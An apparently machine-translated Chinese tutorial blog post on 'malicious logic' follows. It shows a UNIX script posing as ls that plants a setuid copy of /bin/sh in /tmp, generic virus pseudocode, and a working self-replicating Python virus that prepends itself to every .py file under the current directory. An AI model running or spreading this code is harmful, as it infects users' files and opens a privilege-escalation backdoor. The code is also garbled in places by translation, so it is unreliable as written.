注意:在此处无法使用在线编译器。请安装Python 2.7x和cv2, argparse模块以实际试用此示例。
嘿亚朋友们!欢迎回来!在继续进行" Malicious Logic"之前, 我请你先阅读这篇精彩而翔实的文章蠕虫, 病毒及其他!!
现在, 本文将重点关注应用程序, 而不是计算机病毒, 蠕虫和特洛伊木马理论。
但是, 请注意, 本文仅用于教育目的。我绝不鼓励使用病毒, 蠕虫或特洛伊木马来攻击计算机系统并造成破坏。
恶意逻辑是导致违反网站/程序/应用程序等安全策略的一组指令(基本上是程序)。
UNIX脚本
cp /bin/sh /tmp/.xxsh
chmod u+s, o+x /tmp/.xxsh
rm ./ls
ls $*
在此示例中, 我们假设"。"在路径环境中, 并且脚本已命名为ls并放置在目录中。
分析脚本
该脚本创建UNIX Shell的副本, 该副本是执行该程序的用户的setuid。要了解setuid程序, 我们首先需要了解如何在UNIX OS中存储用户身份。
在UNIX OS中, 用户身份通常表示为0到65535之间的整数。该编号也称为UID(唯一标识号)。现在, setuid程序要做的是使用所有者的UID(而不是执行该程序的第三方)创建进程。这意味着执行者将拥有所有者的权利……这本身就是一个可能的漏洞。
回到我们的脚本, 因此创建了UNIX shell的setuid副本。稍后, 将删除该程序, 然后执行正确的ls命令(用于列出当前工作目录中存在的文件和文件夹)。
特洛伊木马
返回上一个脚本...假设有人(根)键入:
cp /bin/sh /tmp/.xxsh
chmod o+s, w+x /tmp.xxsh
如果脚本是故意键入的, 则将导致特洛伊木马。
病毒–基本格式
大多数计算机病毒都遵循以下基本脚本:
Beginvirus
if spread-condition TRUE then begin
for the target files begin
if target affected TRUE then begin
Determine where to place virus instructions
Copy the virus instructions
Modify target to spread the virus later
End if
End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
基本上, 每种计算机病毒都有两个阶段-
- 插入阶段–在此阶段, 病毒会将自身插入目标。
- 执行阶段-在此阶段, 病毒执行某些操作。
让我们看一下Python中的真实病毒。现在, 这不是真正的病毒, 它将导致损坏文件, 删除系统文件等。但只是一种简单的无害病毒。
#!/usr/bin/python
import os, datetime, inspect
DATA_TO_INSERT = "lsbin"
def search(path): #search for target files in path
filestoinfect = []
filelist = os.listdir(path)
for filename in filelist:
if os.path.isdir(path + "/" + filename): #If it is a folder
filestoinfect.extend(search(path + "/" + filename))
elif filename[ - 3 :] = = ".py" : #If it is a python script -> Infect it
infected = False #default value
for line in open (path + "/" + filename):
if DATA_TO_INSERT in line:
infected = True
break
if infected = = False :
filestoinfect.append(path + "/" + filename)
return filestoinfect
def infect(filestoinfect): #changes to be made in the target file
target_file = inspect.currentframe().f_code.co_filename
virus = open (os.path.abspath(target_file))
virusstring = ""
for i, line in enumerate (virus):
if i> = 0 and i < 41 :
virusstring + = line
virus.close
for fname in filestoinfect:
f = open (fname)
temp = f.read()
f.close()
f = open (fname, "w" )
f.write(virusstring + temp)
f.close()
def explode(): #Not required actually...
if datetime.datetime.now().month = = 4 and
datetime.datetime.now().day = = 1 :
print "HAPPY APRIL FOOL'S DAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
explode()
现在, 这是一种相当安全的病毒, 但是, 基本格式和工作方式是相同的。
另外, 计算机病毒的类型也很多种-引导区感染程序, 可执行感染程序, 多方病毒, TSR病毒, 隐形病毒, 加密病毒, 多态病毒, 宏病毒。
现在, 我不再赘述, 只在这里停止。这就是我的全部!
关于作者:
Vishwesh Shrimali
是BITS Pilani的机械工程专业的学生。他实现了
关于他的分支机构白帽子黑客, 网络安全运营商和前竞争程序员所未教授的所有要求。作为坚定地相信Python力量的人, 他的大部分工作都使用相同的语言。每当他除了编程, 上课, 看CSI Cyber之外, 都会散步很长一段时间, 在寂静中弹吉他。他的人生座右铭是:"享受生活, 因为值得享受!"
如果你还希望在此处展示你的博客, 请参阅日志用于在lsbin上撰写访客博客。
注意怪胎!巩固你的基础Python编程基础课程和学习基础知识。
首先, 你的面试准备可通过以下方式增强你的数据结构概念:Python DS课程。